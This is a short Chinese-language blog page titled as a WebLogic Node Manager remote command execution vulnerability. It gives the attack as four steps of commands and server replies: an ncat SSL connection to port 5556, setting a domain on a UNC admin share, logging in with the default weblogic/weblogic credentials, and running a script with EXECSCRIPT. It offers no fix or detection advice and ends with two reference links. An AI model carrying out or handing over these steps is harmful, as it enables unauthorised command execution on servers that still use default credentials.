且构网

分享程序员开发的那些事...
且构网 - 分享程序员编程开发的那些事

weblogic node maanger 远程命令执行漏洞

更新时间:2022-09-21 23:08:20

1.找到5556的SSL端口

ncat --ssl ip 5556

输出HELLO

+OK Node manager v10.3 started

2.设置domain

DOMAIN my_domain \\ip\c$

+OK Current domain set to 'my_domain'

3.USER weblogic

PASS weblogic

4.执行命令

EXECSCRIPT 1.sh

参考资料:

http://book.51cto.com/art/201110/295927.htm

http://guanting.com/security/bug/information/3343.html